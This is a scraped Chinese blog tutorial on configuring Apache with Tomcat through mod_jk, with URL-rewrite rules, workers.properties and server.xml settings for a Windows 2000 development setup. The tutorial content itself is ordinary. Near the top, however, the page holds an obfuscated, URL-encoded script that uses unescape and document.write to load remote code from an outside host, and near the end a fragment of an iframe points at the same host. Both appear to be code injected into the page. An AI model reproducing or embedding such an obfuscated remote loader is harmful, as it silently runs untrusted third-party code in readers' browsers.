url重写 apache+tomcat window2k 开发配置

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
url重写 apache+tomcat window2k 开发配置




Url
重写
windown2k
开发环境配置
apach _ tomcat _ mod_jk
Author

Chaiqi@lingtu.com
3/13/2006
 
第一步 下载导入

mod_jk.so
拷贝到
C:/Apache Group/Apache2/modules
中。
注意
mod_jk

apach
版本有很大的关系,这里用到的适用于
apache_2.0.52-win32
 
第二步 修改 Apache Group/Apache2/conf/httpd.conf
这个可是核心操作,一定要操作清楚:
 
1、 
打开
httpd.conf,
加入以下两句
#
注释去掉,必须为打开状态
LoadModule rewrite_module modules/mod_rewrite.so
#
导入
jk_module
,这里一定要为
jk_module
不然无法使用
JkWorkersFile
LoadModule jk_module modules/mod_jk.so
#
配置工作目录
JkWorkersFile conf/workers.properties
 
2
、修改
模式和
tomcat
取得应用联系
NameVirtualHost *:80
<VirtualHost *:80>
    ServerName route.51ditu.com
    DocumentRoot E:/51DITU_WorkProgram/LT51DITU_ROUTEBOOK_apach
   
# .jsp
文件跳转到
api13 tomcat
应用
JkMount /*.jsp ajp13 
   # routebook
文件夹下的文件跳转到
api13 tomcat
应用
    JkMount /routebook/* ajp13
    RewriteEngine on
#
这里需要学习一下正则表达式
   
RewriteRule ^/type_([/d]*)/.html$   /routebook/rbSearch?rbtype=$1&act=rbtype [PT,L]
RewriteRule ^/rb_([/w]*)/.html$   /routebook/userproc?rbid=$1&act=preview [PT,L]
</VirtualHost>
 
3
、一定要注释相关的
Proxy
模式,这两个无法兼容
#ProxyVia On
#ProxyPass               /apis      http://localhost:8017/apis
#ProxyPassReverse        /apis      http://localhost:8017/apis
#ProxyPass               /routebook      http://localhost:8037/routebook
#ProxyPassReverse        /routebook     
http://localhost:8037/routebook
 
 
第三步 添加修改 workers.properties 文件
workers.properties
所在目录为
/Apache Group/Apache2/conf
内容为:
 worker.tomcat151.port=8009
 worker.tomcat151.host=127.0.0.1
#
这句话一定要对应上
tomcat

tomcat151,

httpd.conf
中的
ajp13
 worker.tomcat151.type=ajp13
 worker.tomcat151.lbfactor=1000
# Define prefered failover node for worker1
 worker.tomcat151.redirect=tomcat151
# worker "tomcat151" use up to 1 sockets, which will stay no more than 10mn in cache
 worker.tomcat151.cachesize=10
 worker.tomcat151.cache_timeout=600
# worker "tomcat151" ask operating system to send KEEP-ALIVE signal on the connection
 worker.tomcat151.socket_keepalive=1
 worker.tomcat151.socket_timeout=60
# worker "tomcat151" want ajp13 connection to be dropped after 5mn (recycle)
 worker.tomcat151.recycle_timeout=300
 worker.tomcat151.sticky_session=1
 worker.tomcat151.sticky_session_force=0
 
 
第四步 tomcat 的server.xml 修改
如果你使用
eclipse
那末他的路径为,一定要保证这个路径是你配置的路书
eclipse
路径:
E:/51DITU_WorkProgram/.metadata/.plugins/org.eclipse.wst.server.core/tmp6/conf/server.xml
 

133
行的地方
修改,可以直接修改
eclipse
的服务器配置。防止
临时文件更新。
#保证它的端口号和
workers.properties
保持一致
worker.tomcat151.port=8009

<Connector port="8009" enableLookups="false" redirectPort="8443" debug="0" protocol="AJP/1.3"/>
 
#tomcat 151

workers.properties
中的对应
<Engine name="Standalone" defaultHost="localhost" debug="0" jvmRoute="tomcat151">
 
 
 
第五步 重启服务并测试
重新启动
apach
,如果启动不了,
cmd /

apach /bin
目录下面
Apach
看错误信息
重新启动
tomcat
 
在浏览器中键入

http://route.51ditu.com/routebook/
跳转到
tomcat
中,表示配置成功了。
 
 
 
 
 
 
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值